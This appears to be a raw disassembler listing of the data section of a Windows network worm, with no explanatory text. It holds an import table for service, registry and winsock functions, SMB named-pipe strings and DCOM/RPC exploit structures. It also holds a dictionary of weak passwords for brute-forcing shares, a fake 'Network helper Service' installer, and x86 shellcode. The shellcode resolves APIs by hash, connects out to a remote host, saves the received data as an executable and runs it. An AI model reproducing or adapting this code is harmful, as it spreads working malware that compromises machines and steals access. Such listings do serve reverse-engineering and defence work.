		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_415000	dd 1390Ch, 138FCh, 13BA8h, 1391Ch, 0		dd 13960h, 0
		dd 13B3Eh, 0
		dd 13B5Eh, 13484h, 13478h, 0
		dd 13AF4h, 13AFCh, 13AE6h, 13ACEh, 13B06h, 13AC6h, 13B28h
		dd 13ABEh, 13AAEh, 13AA4h, 13A96h, 13A88h, 13A76h, 13B0Eh
		dd 13B1Ch, 13ADAh, 0
		dd 73770262h, 6E697270h, 416674h, 6843001Eh, 6F4C7261h
		dd 41726577h, 73750000h, 32337265h, 6C6C642Eh, 1A0000h
		dd 736F6C43h, 6E614865h, 656C64h, 6F430024h, 69467970h
		dd 41656Ch, 7243002Dh, 65746165h, 6E657645h, 4174h, 72430030h
		dd 65746165h, 656C6946h, 310041h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 4
		db ';',0
		dw 7243h
		db 65h,	61h, 74h
aEmutexa	db 'eMutexA',0          ; DATA XREF: sub_408DC0+558o
		align 4
a@		db '@',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
aF		db 'F',0
aCreatethread	db 'CreateThread',0
		align 2
aS		db 'S',0
aDeletefilea	db 'DeleteFileA',0
aC		db 'c',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
aA_0		db '€',0
aExitprocess	db 'ExitProcess',0
aB		db '',0
aExitthread	db 'ExitThread',0
		align 10h
aP		db '',0
aFindclose	db 'FindClose',0
aU		db '“',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		db 'œ',0
aFindnextfilea	db 'FindNextFileA',0
		db '«',0
aFlushviewoffil	db 'FlushViewOfFile',0
		db 'É',0
aGetcommandline	db 'GetCommandLineW',0
		db 'Û',0
aGetcurrentproc	db 'GetCurrentProcess',0
		db 'Ü',0
aGetcurrentpr_0	db 'GetCurrentProcessId',0
aS_0		db 'è',0
aGetdrivetypea	db 'GetDriveTypeA',0
		dd 654700F5h, 6C694674h, 7A695365h, 0FD0065h, 4C746547h
		dd 45747361h, 726F7272h, 1010000h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0
		db    7
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 109h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		dw 11Fh
aGetprocaddress	db 'GetProcAddress',0
		align 10h
		db  3Ch	; <
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 152h
aGettickcount	db 'GetTickCount',0
		align 2
		dw 15Ah
aGetversionexa	db 'GetVersionExA',0
		dw 18Bh
aInitializecrit	db 'InitializeCriticalSection',0
		dw 18Eh
aInterlockeddec	db 'InterlockedDecrement',0
		align 2
		dw 191h
aInterlockedinc	db 'InterlockedIncrement',0
		align 2
		dw 195h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 1A3h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
		dw 1A4h
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
		dw 1AAh
aLocalalloc	db 'LocalAlloc',0
		align 4
		db 0AEh	; ®
		db 1, 4Ch, 6Fh
aCalfree	db 'calFree',0
		db 0BAh	; º
		db 1, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 1, 4Fh, 70h
aEnfilemappinga	db 'enFileMappingA',0
		align 4
		db 0F7h	; ÷
		db 1, 52h, 65h
aAdfile		db 'adFile',0
		align 4
		db    7
		db 2, 52h, 65h
aSumethread	db 'sumeThread',0
		align 4
		db  30h	; 0
		db 2, 53h, 65h
aTerrormode	db 'tErrorMode',0
		align 4
		db  31h	; 1
		db 2, 53h, 65h
aTevent		db 'tEvent',0
		align 10h
		db  34h	; 4
		db 2, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 236h
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db  53h	; S
		db 2, 53h, 65h
aTthreadpriorit	db 'tThreadPriority',0
		db  60h	; `
		db 2, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db  62h	; b
		db 2, 53h, 75h
aSpendthread	db 'spendThread',0
		db  68h	; h
		db 2, 54h, 65h
aRminateprocess	db 'rminateProcess',0
		align 4
		db  77h	; w
		db 2, 55h, 6Eh
aMapviewoffile	db 'mapViewOfFile',0
		dw 281h
aVirtualalloc	db 'VirtualAlloc',0
		align 2
		dw 283h
aVirtualfree	db 'VirtualFree',0
		db  8Fh	; 
		db 2, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
		dw 293h
aWidechartomult	db 'WideCharToMultiByte',0
		db  9Eh	; ž
		db 2, 57h, 72h
aItefile	db 'iteFile',0
		db 0B5h	; µ
		db 2, 6Ch, 73h
aTrcata		db 'trcatA',0
		align 4
		db 0B7h	; ·
		db 2, 6Ch, 73h
aTrcmpa		db 'trcmpA',0
		align 4
		db 0B9h	; ¹
		db 2, 6Ch, 73h
aTrcmpia	db 'trcmpiA',0
		db 0BBh	; »
		db 2, 6Ch, 73h
aTrcpya		db 'trcpyA',0
		align 10h
		db 0BDh	; ½
		db 2, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
		db 0BFh	; ¿
		db 2, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
		db 0C0h	; À
		db 2, 6Ch, 73h
aTrlenw		db 'trlenW',0
		align 4
aKernel32_dll	db 'kernel32.dll',0
		align 2
		dw 2C5h
aStrstr		db 'strstr',0
		align 4
aMsvcrt_dll	db 'MSVCRT.dll',0
		align 4
		db    2
		align 2
aChecksummapped	db 'CheckSumMappedFile',0
		align 2
aImagehlp_dll	db 'imagehlp.dll',0
		align 4
		db  0Eh
		align 2
aCocreateguid	db 'CoCreateGuid',0
		align 4
a1		db '1',0
aCoinitialize	db 'CoInitialize',0
		align 4
aC_0		db 'C',0
aCoregisterclas	db 'CoRegisterClassObject',0
aT		db 'T',0
aCotaskmemalloc	db 'CoTaskMemAlloc',0
		align 2
aU_0		db 'U',0
aCotaskmemfree	db 'CoTaskMemFree',0
aOle32_dll	db 'ole32.dll',0
		db    2
		align 2
aCommandlinetoa	db 'CommandLineToArgvW',0
		align 2
aShell32_dll	db 'shell32.dll',0
		db ']',0
aCryptacquireco	db 'CryptAcquireContextA',0
		align 2
aN		db 'n',0
aCryptgenrandom	db 'CryptGenRandom',0
		align 4
		db 'x',0
aCryptreleaseco	db 'CryptReleaseContext',0
		dw 180h
aRegclosekey	db 'RegCloseKey',0
		dd 65520183h, 65724367h, 4B657461h, 417965h, 65520189h
		dd 6C654467h, 56657465h, 65756C61h, 18D0041h, 45676552h
		dd 4B6D756Eh, 78457965h, 1980041h, 4F676552h, 4B6E6570h
		dd 417965h, 65520199h, 65704F67h, 79654B6Eh, 417845h, 655201A2h
		dd 65755167h, 61567972h, 4165756Ch, 1AD0000h, 53676552h
		dd 61567465h, 4165756Ch, 1AE0000h, 53676552h, 61567465h
		dd 4565756Ch, 4178h, 655301DBh,	72655374h, 65636976h, 74617453h
		dd 7375h, 61766461h, 32336970h,	6C6C642Eh, 1A0000h, 47415357h
		dd 614C7465h, 72457473h, 726F72h, 5357003Fh, 61745341h
		dd 70757472h, 500000h, 736F6C63h, 636F7365h, 74656Bh, 6F630051h
		dd 63656E6Eh, 530074h, 68746567h, 6274736Fh, 6D616E79h
		dd 5C0065h, 6E6F7468h, 5D006Ch,	6E6F7468h, 5E0073h, 74656E69h
		dd 6464615Fh, 5F0072h, 74656E69h, 6F746E5Fh, 600061h, 74636F69h
		dd 636F736Ch, 74656Bh, 65720064h, 7663h, 65730066h, 7463656Ch
		dd 670000h, 646E6573h, 690000h,	73746573h, 6F6B636Fh, 7470h
		dd 6873006Ah, 6F647475h, 6E77h,	6F73006Bh, 74656B63h
		db 2 dup(0), 77h
byte_415733	db 73h			; DATA XREF: sub_408DC0+6FCo
		dd 32335F32h, 6C6C642Eh, 280000h, 68746150h, 646E6946h
		dd 656C6946h, 656D614Eh, 68730041h, 7061776Ch, 6C642E69h
		dd 2C006Ch, 72616843h, 65707055h, 4172h, 65470108h, 646F4D74h
		dd 46656C75h, 4E656C69h, 57656D61h, 23C0000h, 4C746553h
		dd 45747361h, 726F7272h, 1C70000h, 746C754Dh, 74794269h
		dd 576F5465h, 43656469h, 726168h, 734900ADh, 61757145h
		dd 4955476Ch, 1840044h,	43676552h, 74616572h, 79654B65h
		dd 417845h, 65520187h, 6C654467h, 4B657465h, 417965h, 3	dup(0)
		dd 454B9FFDh, 0
		dd 13C30h, 1, 2	dup(4),	13C08h,	13C18h,	13C28h,	18D0h
		dd 1890h, 1850h, 1870h,	13C41h,	13C51h,	13C63h,	13C75h
		dd 10000h, 30002h, 65686D64h, 6573706Ch, 72657672h, 6578652Eh
		dd 6C6C4400h, 556E6143h, 616F6C6Eh, 776F4E64h, 6C6C4400h
		dd 43746547h, 7373616Ch, 656A624Fh, 44007463h, 65526C6Ch
		dd 74736967h, 65537265h, 72657672h, 6C6C4400h, 65726E55h
		dd 74736967h, 65537265h, 72657672h, 5Eh	dup(0)
aAdmin		db 'Admin',0
aW		db 'W',0
		dd 50020000h, 454E2043h, 524F5754h, 5250204Bh, 4152474Fh
		dd 2E31204Dh, 4C020030h, 414D4E41h, 302E314Eh, 69570200h
		dd 776F646Eh, 6F662073h, 6F572072h, 72676B72h, 7370756Fh
		dd 312E3320h, 4C020061h, 322E314Dh, 32303058h, 544E0200h
		dd 204D4C20h, 32312E30h, 2A5C5C00h, 53424D53h, 45565245h
		dd 50495C52h, 5C002443h, 776F7262h, 726573h, 6D61735Ch
		dd 655C0072h, 70616D70h, 726570h, 73746E5Ch, 736376h, 7374615Ch
		dd 5C006376h, 73767273h, 0C8006376h, 704B324Fh,	1201D316h
		dd 0BF475A78h, 388E16Eh, 40000000h, 3D8D9F4Eh, 8F11CEA0h
		dd 3E000869h, 11B0530h,	6A000000h, 0C391928h, 9B11D0B1h
		dd 4FC000A8h, 0F52ED9h,	0A0000000h, 1, 0C0000000h, 0
		dd 460000h, 82000000h, 511FF706h, 730E80Ah, 0E80B746Dh
		dd 18BE9CEh, 25000000h,	0A0D73h, 28207325h, 297325h, 73255C5Ch
		dd 245300h, 5C3A63h, 5C3A64h, 65686D64h, 6573706Ch, 72657672h
		dd 6578652Eh, 5C3A6300h, 706D6574h, 6578652Eh, 20732500h
		dd 29732528h, 3A732520h, 25007325h, 25282073h, 4E202973h
		dd 536C6C75h, 73737365h, 41417D00h, 3 dup(0)
		dd 41418B00h, 2	dup(0)
		dd 6D644100h, 73696E69h, 74617274h, 4100726Fh, 6E696D64h
		dd 41418B00h, 4144FD00h, 4144F600h, 41430B00h, 4144EC00h
		dd 4144E800h, 4144E300h, 4144DD00h, 4144D600h, 4144CE00h
		dd 4144C500h, 4144C300h, 4144C000h, 4144BC00h, 4144B700h
		dd 4144B100h, 4144AA00h, 4144A200h, 41449900h, 41448F00h
		dd 41448800h, 41448100h, 41447800h, 41447200h, 41446B00h
		dd 41446600h, 41446200h, 41445C00h, 41445800h, 41445100h
		dd 41444A00h, 41444300h, 41443F00h, 41443900h, 41443400h
		dd 41442A00h, 41442100h, 41441A00h, 41441500h, 41441100h
		dd 41440A00h, 41440100h, 4143FC00h, 4143F300h, 4143ED00h
		dd 4143E500h, 4143E000h, 4143DE00h, 4143DB00h, 4143D500h
		dd 4143CF00h, 4143C700h, 4143BE00h, 4143B800h, 4143B300h
		dd 4143AB00h, 4143A500h, 41439D00h, 41439500h, 41439100h
		dd 41438900h, 41438400h, 41437D00h, 41437600h, 41436F00h
		dd 41436A00h, 41436300h, 4144EF00h, 41435A00h, 41435200h
		dd 41434B00h, 41434400h, 41433D00h, 41433800h, 41433100h
		dd 41432B00h, 41432400h, 41431F00h, 41431A00h, 41431400h
		dd 41430500h, 4142FD00h, 4142F500h, 4142F100h, 3 dup(0)
		dd 5700h, 77777700h, 6E697700h,	73776F64h, 73697600h, 726F7469h
		dd 73657400h, 70003274h, 77737361h, 64726Fh, 74736574h
		dd 65740031h, 74007473h, 706D65h, 6E6C6574h, 72007465h
		dd 72656C75h, 6D657200h, 65746Fh, 6C616572h, 6E617200h
		dd 6D6F64h, 72657771h, 70007974h, 696C6275h, 72700063h
		dd 74617669h, 6F700065h, 74797569h, 70006572h, 77737361h
		dd 61700064h, 6F007373h, 6C636172h, 6F6E0065h, 73736170h
		dd 626F6E00h, 79646Fh, 6B63696Eh, 77656E00h, 73736170h
		dd 77656E00h, 74656E00h, 6B726F77h, 6E6F6D00h, 726F7469h
		dd 6E6F6D00h, 6D007965h, 67616E61h, 6D007265h, 6C6961h
		dd 69676F6Ch, 6E69006Eh, 6E726574h, 69007465h, 6174736Eh
		dd 68006C6Ch, 6F6C6C65h, 65756700h, 67007473h, 58006Fh
		dd 6F6D6564h, 66656400h, 746C7561h, 62656400h, 64006775h
		dd 62617461h, 657361h, 77657263h, 6D6F6300h, 65747570h
		dd 6F630072h, 65656666h, 6E696200h, 74656200h, 61620061h
		dd 70756B63h, 63616200h, 6F6F646Bh, 6E610072h, 6D796E6Fh
		dd 73756Fh, 6E6F6E61h, 706C6100h, 61006168h, 61006D64h
		dd 73656363h, 62610073h, 33323163h, 73797300h, 6D6574h
		dd 737973h, 65707573h, 71730072h, 6873006Ch, 73007469h
		dd 6F646168h, 65730077h, 707574h, 75636573h, 79746972h
		dd 63657300h, 657275h, 72636573h, 31007465h, 35343332h
		dd 39383736h, 33323100h, 37363534h, 32310038h, 36353433h
		dd 32310037h, 36353433h, 33323100h, 31003534h, 343332h
		dd 333231h, 31003231h, 30303000h, 30303030h, 30300030h
		dd 30303030h, 30300030h, 30303030h, 30303000h, 30003030h
		dd 2 dup(303030h), 73003030h, 65767265h, 73610072h, 68676664h
		dd 6F6F7200h, 72690074h, 63787664h, 6578652Eh, 686A0020h
		dd 6A636764h, 67736168h, 39306364h, 67303938h, 6773616Ah
		dd 67686A63h, 33363732h, 75363738h, 66336779h, 43006768h
		dd 4449534Ch, 73255Ch, 49534C43h, 73255C44h, 636F4C5Ch
		dd 65536C61h, 72657672h, 7B003233h, 6C383025h, 30252D58h
		dd 252D5834h, 2D583430h, 2 dup(58323025h), 3230252Dh, 5	dup(32302558h)
		dd 3C007D58h, 6C6D7468h, 0A0D003Eh, 4A424F3Ch, 20544345h
		dd 65707974h, 7061223Dh, 63696C70h, 6F697461h, 2D782F6Eh
		dd 6F656C6Fh, 63656A62h, 4C432274h, 49535341h, 43223D44h
		dd 4449534Ch, 3830253Ah, 252D586Ch, 2D583430h, 58343025h
		dd 3230252Dh, 32302558h, 30252D58h, 5 dup(30255832h), 3E225832h
		dd 424F2F3Ch, 5443454Ah, 0A0D3Eh, 255C7325h, 2E2A0073h
		dd 7771002Ah, 73747265h, 74726568h, 6B6A6873h, 63787A6Ch
		dd 6A6E6276h, 6E626C6Bh, 7A6C6B6Ah, 62766378h, 787A6D6Eh
		dd 6E627663h, 7325006Dh, 652E7325h, 53006578h, 5754464Fh
		dd 5C455241h, 7263694Dh, 666F736Fh, 69575C74h, 776F646Eh
		dd 75435C73h, 6E657272h, 72655674h, 6E6F6973h, 6E75525Ch
		dd 76726553h, 73656369h, 732F2000h, 69767265h, 22006563h
		dd 20227325h, 7265732Fh, 65636976h, 67655200h, 65747369h
		dd 72655372h, 65636976h, 636F7250h, 737365h, 6E72656Bh
		dd 32336C65h, 6C6C642Eh, 44534D00h, 6B7369h, 7774654Eh
		dd 206B726Fh, 76726573h, 20656369h, 20726F66h, 6B736964h
		dd 6E616D20h, 6D656761h, 20746E65h, 75716572h, 73747365h
		dd 74654E00h, 6B726F77h, 6C656820h, 20726570h, 76726553h
		dd 656369h, 7265732Fh, 65636976h, 74732F00h, 747261h, 736E692Fh
		dd 6C6C6174h, 76726573h, 656369h, 696E752Fh, 6174736Eh
		dd 65736C6Ch, 63697672h, 732F0065h, 706F74h, 0
		dd 5, 414704h, 41470Dh,	414714h, 414724h, 414736h, 10000000h
		dd 1000000h, 100000h, 10000h, 1000h, 61766461h,	32336970h
		dd 6C6C642Eh, 6D652D00h, 64646562h, 676E69h, 72697325h
		dd 63787664h, 6578652Eh, 0
		dd 6F6C4700h, 5C6C6162h, 504B4331h, 505055h, 63746170h
		dd 53003A68h, 62654465h, 72506775h, 6C697669h, 656765h
		dd 756A6441h, 6F547473h, 506E656Bh, 69766972h, 6567656Ch
		dd 6F4C0073h, 70756B6Fh, 76697250h, 67656C69h, 6C615665h
		dd 416575h, 6E65704Fh, 636F7250h, 54737365h, 6E656B6Fh
		dd 25732500h, 6C642E73h, 435C006Ch, 4449534Ch, 5C732500h
		dd 72706E49h, 6553636Fh, 72657672h, 3B003233h, 47004148h
		dd 51004148h, 5E004148h, 67004148h, 73004148h, 7E004148h
		dd 8A004148h, 73004148h, 6C6C6568h, 642E3233h, 6F006C6Ch
		dd 3233656Ch, 6C6C642Eh, 656C6F00h, 33747561h, 6C642E32h
		dd 6D66006Ch, 642E3032h, 74006C6Ch, 626D7568h, 642E7776h
		dd 6D006C6Ch, 6D746873h, 6C642E6Ch, 6873006Ch, 76636F64h
		dd 6C642E77h, 7262006Ch, 6573776Fh, 642E6975h, 77006C6Ch
		dd 732E7777h, 6D726174h, 652E6E61h, 77770065h, 66692E77h
		dd 65652Eh, 0
		dd 0Ch,	0
aCreateservicea	db 'CreateServiceA',0
aOpenscmanagera	db 'OpenSCManagerA',0
aOpenservicea	db 'OpenServiceA',0
aChangeservicec	db 'ChangeServiceConfig2A',0
aControlservice	db 'ControlService',0
aCloseserviceha	db 'CloseServiceHandle',0
aDeleteservice	db 'DeleteService',0
aStartservicea	db 'StartServiceA',0
aQueryservicest	db 'QueryServiceStatus',0
aStartservicect	db 'StartServiceCtrlDispatcherA',0
aRegisterservic	db 'RegisterServiceCtrlHandlerA',0
aSetservicestat	db 'SetServiceStatus',0
		align 4
		dd 8 dup(0)
		db 3 dup(0)
byte_4163BB	db 0			; DATA XREF: sub_408DC0+6D3o
		dd 2 dup(0)
		dd 0BC000000h, 0CB004148h, 0DA004148h, 0E7004148h, 0FD004148h
		dd 0C004148h, 1F004149h, 2D004149h, 3B004149h, 4E004149h
		dd 6A004149h, 86004149h, 47004149h, 61626F6Ch, 67325C6Ch
		dd 73676B6Ah, 7167716Ah, 180E0C00h, 9083827Ch, 0C8C7C3C1h
		dd 0CCCBCAC9h, 0D3D2D1CFh, 0D9D8D5D4h, 0DDDCDBDAh, 3C3B3ADEh
		dd 403F3E3Dh, 44434241h, 51504845h, 57545352h, 69FF5958h
		dd 2E706D63h, 6C6C64h, 706D6349h, 61657243h, 69466574h
		dd 4900656Ch, 53706D63h, 45646E65h, 6F6863h, 706D6349h
		dd 73726150h, 70655265h, 7365696Ch, 6D634900h, 6F6C4370h
		dd 61486573h, 656C646Eh, 0D732500h, 7325000Ah, 64253Ah
		dd 253A7325h, 61420064h, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 62617776h, 66656463h, 696867h
		dd 60005h, 1, 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(5D0h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 5A0h, 598h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	598h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	2E8h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 2 dup(0)
		dd 15Eh, 0
		db 5Eh
; ---------------------------------------------------------------------------


loc_416805:				; CODE XREF: .data:00416837j
		add	[eax], eax
		add	[eax+eax+5Ch], bl
		add	[esi+0], al
		pop	eax
		add	[esi+0], cl
		inc	edx
		add	[esi+0], al
		pop	eax
		add	[esi+0], al
		pop	eax
		add	[esi+0], cl
		inc	edx
		add	[esi+0], al
		pop	eax
		add	[esi+0], al
		pop	eax
		add	[esi+0], al
		pop	eax
		add	[esi+0], al
		pop	eax
		add	dh, al
		push	ss
		add	[ecx], al


loc_416834:				; CODE XREF: .data:00416835j
		int	3		; Trap to Debugger
		loopne	loc_416834
		jg	short loc_416805
; ---------------------------------------------------------------------------
		db 0E0h, 0FDh, 7Fh
		db 0B3h	dup(90h)
; ---------------------------------------------------------------------------
		add	esp, 0FFFFEFFFh
		inc	esp
		jmp	short loc_4168FA
; ---------------------------------------------------------------------------


loc_4168F8:				; CODE XREF: .data:loc_4168FAp
		jmp	short loc_416965
; ---------------------------------------------------------------------------


loc_4168FA:				; CODE XREF: .data:004168F6j
		call	loc_4168F8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, [esp+18h]
		mov	eax, [ebp+3Ch]
		mov	edx, [eax+ebp+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_416918:				; CODE XREF: .data:00416935j
		jecxz	short loc_41694C
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		cld


loc_416923:				; CODE XREF: .data:0041692Fj
		xor	eax, eax
		lodsb
		cmp	al, ah
		jz	short loc_416931
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_416923
; ---------------------------------------------------------------------------


loc_416931:				; CODE XREF: .data:00416928j
		cmp	edi, [esp+14h]
		jnz	short loc_416918
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		jmp	short loc_41694E
; ---------------------------------------------------------------------------


loc_41694C:				; CODE XREF: .data:loc_416918j
		xor	eax, eax


loc_41694E:				; CODE XREF: .data:0041694Aj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	[esp+4], eax
		mov	eax, [esp]
		mov	[esp+8], eax
		mov	eax, [esp+4]
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_416965:				; CODE XREF: .data:loc_4168F8j
		pop	esi
		push	30h
		pop	ecx
		mov	ebx, fs:[ecx]
		mov	ebx, [ebx+0Ch]
		mov	ebx, [ebx+1Ch]
		mov	ebx, [ebx]
		mov	edi, [ebx+8]
		sub	esp, 1Ch
		mov	ebp, esp
		xor	eax, eax
		push	eax
		push	6578652Eh
		mov	[ebp+14h], esp
		push	edi
		push	0E88A49EAh
		call	esi
		push	6
		push	dword ptr [ebp+14h]
		call	eax
		mov	[ebp+4], eax
		push	edi
		push	0E9238ADBh
		call	esi
		mov	[ebp+0Ch], eax
		push	edi
		push	0EC0E4E8Eh
		call	esi
		xor	ecx, ecx
		mov	cx, 6C6Ch
		push	ecx
		push	642E3233h
		push	5F327377h
		push	esp
		call	eax
		mov	ebx, eax
		push	ebx
		push	0E71819B6h
		call	esi
		mov	[ebp+10h], eax
		push	ebx
		push	79C679E7h
		call	esi
		mov	[ebp+18h], eax
		push	ebx
		push	492F0B6Eh
		setalc
		push	6
		push	1
		push	2
		call	eax
		mov	[ebp+8], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		mov	eax, 427FF02h
		xor	ah, 0FFh
		push	eax
		mov	eax, esp
		push	10h
		push	eax
		push	dword ptr [ebp+8]
		push	ebx
		push	0C7701AA4h
		call	esi
		call	eax
		pop	eax
		push	ebx
		push	0E92EADA4h
		call	esi
		push	10h
		push	dword ptr [ebp+8]
		call	eax
		xor	eax, eax
		push	eax
		push	eax
		push	dword ptr [ebp+8]
		push	ebx
		push	498649E5h
		call	esi
		call	eax
		mov	ecx, [ebp+8]
		mov	[ebp+8], eax
		push	ecx
		call	dword ptr [ebp+18h]
		add	esp, 0FFFFFEFCh
		mov	ebx, esp


loc_416A3D:				; CODE XREF: .data:00416A56j
		xor	ecx, ecx
		push	ecx
		mov	cl, 0FFh
		push	ecx
		push	ebx
		push	dword ptr [ebp+8]
		call	dword ptr [ebp+10h]
		test	eax, eax
		jle	short loc_416A58
		push	eax
		push	ebx
		push	dword ptr [ebp+4]
		call	dword ptr [ebp+0Ch]
		jmp	short loc_416A3D
; ---------------------------------------------------------------------------


loc_416A58:				; CODE XREF: .data:00416A4Cj
		push	dword ptr [ebp+8]
		call	dword ptr [ebp+18h]
		push	edi
		push	0DD1A4C5Bh
		call	esi
		push	dword ptr [ebp+4]
		call	eax
		xor	eax, eax
		push	eax
		push	dword ptr [ebp+14h]
		push	edi
		push	0E8AFE98h
		call	esi
		call	eax
		push	edi
		push	60E0CEEFh
		call	esi
		call	eax
		nop
		nop
		pop	esp
		add	[ebx+0], al
		and	al, 0
		pop	esp
		add	[ecx], dh
		add	[edx], dh
		add	[ebx], dh
		add	[eax+eax], dh
		xor	eax, 31003600h
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[ecx], dh
		add	[esi], ch
		add	[eax+eax+6Fh], ah
		add	[ebx+0], ah
; ---------------------------------------------------------------------------
		db 2 dup(0), 1
		dd 0CC000810h, 20CCCCCCh, 30000000h, 2D00h, 88000000h
		dd 2000C2Ah, 1000000h, 28000000h, 1000C8Ch, 7000000h, 0
		dd 5000000h, 1000600h, 0
		dd 32000000h, 0CCFD5824h, 0B0496445h, 74AEDD70h, 60D2962Ch
		dd 1000D5Eh, 0
		dd 70000000h, 2000D5Eh,	7C000000h, 0D5Eh, 10000000h, 80000000h
		dd 2AF1F196h, 0A611CE4Dh, 0AF20006Ah, 0CF4726Eh, 4D000000h
		dd 1425241h, 0
		dd 0D000000h, 0BAADF0h,	0A8000000h, 0D0000BF4h,	0D0000005h
		dd 4D000005h, 4574F45h,	0A2000000h, 1, 0C0000000h, 0
		dd 38460000h, 3, 0C0000000h, 0
		dd 460000h, 0A0000000h,	98000005h, 5, 1000000h,	0CC000810h
		dd 0C8CCCCCCh, 4D000000h, 98574F45h, 0D8000005h, 0
		dd 2000000h, 7000000h, 4 dup(0)
		dd 0C4000000h, 6400CD28h, 0CD29h, 7000000h, 0B9000000h
		dd 1, 0C0000000h, 0
		dd 0AB460000h, 1, 0C0000000h, 0
		dd 0A5460000h, 1, 0C0000000h, 0
		dd 0A6460000h, 1, 0C0000000h, 0
		dd 0A4460000h, 1, 0C0000000h, 0
		dd 0AD460000h, 1, 0C0000000h, 0
		dd 0AA460000h, 1, 0C0000000h, 0
		dd 7460000h, 60000000h,	58000000h, 90000000h, 40000000h
		dd 20000000h, 0E8000000h, 30000002h, 2 dup(1000000h), 0CC000810h
		dd 50CCCCCCh, 4F000000h, 0FF2088B6h, 0FFFFFFh, 12h dup(0)
		dd 1000000h, 0CC000810h, 48CCCCCCh, 7000000h, 6006600h
		dd 209h, 0C0000000h, 0
		dd 10460000h, 2	dup(0)
		dd 1000000h, 0
		dd 78000000h, 58000C19h, 5000000h, 1000600h, 70000000h
		dd 989398D8h, 0A911D24Fh, 0B257BE3Dh, 32000000h, 1003100h
		dd 0CC000810h, 80CCCCCCh, 0D000000h, 0BAADF0h, 3 dup(0)
		dd 18000000h, 1443h, 2 dup(60000000h), 4D000000h, 4574F45h
		dd 0C0000000h, 1, 0C0000000h, 0
		dd 3B460000h, 3, 0C0000000h, 0
		dd 460000h, 30000000h, 1000000h, 81000100h, 800317C5h
		dd 994AE90Eh, 508AF199h, 2857A6Fh, 5 dup(0)
		dd 2 dup(1000000h), 0CC000810h,	30CCCCCCh, 78000000h, 6E00h
		dd 0D8000000h, 0DDAh, 0
		dd 20000000h, 0C2Fh, 0
		dd 3000000h, 0
		dd 3000000h, 46000000h,	5800h, 1000000h, 0CC000810h, 10CCCCCCh
		dd 30000000h, 2E00h, 3 dup(0)
		dd 1000000h, 0CC000810h, 68CCCCCCh, 0E000000h, 68FFFF00h
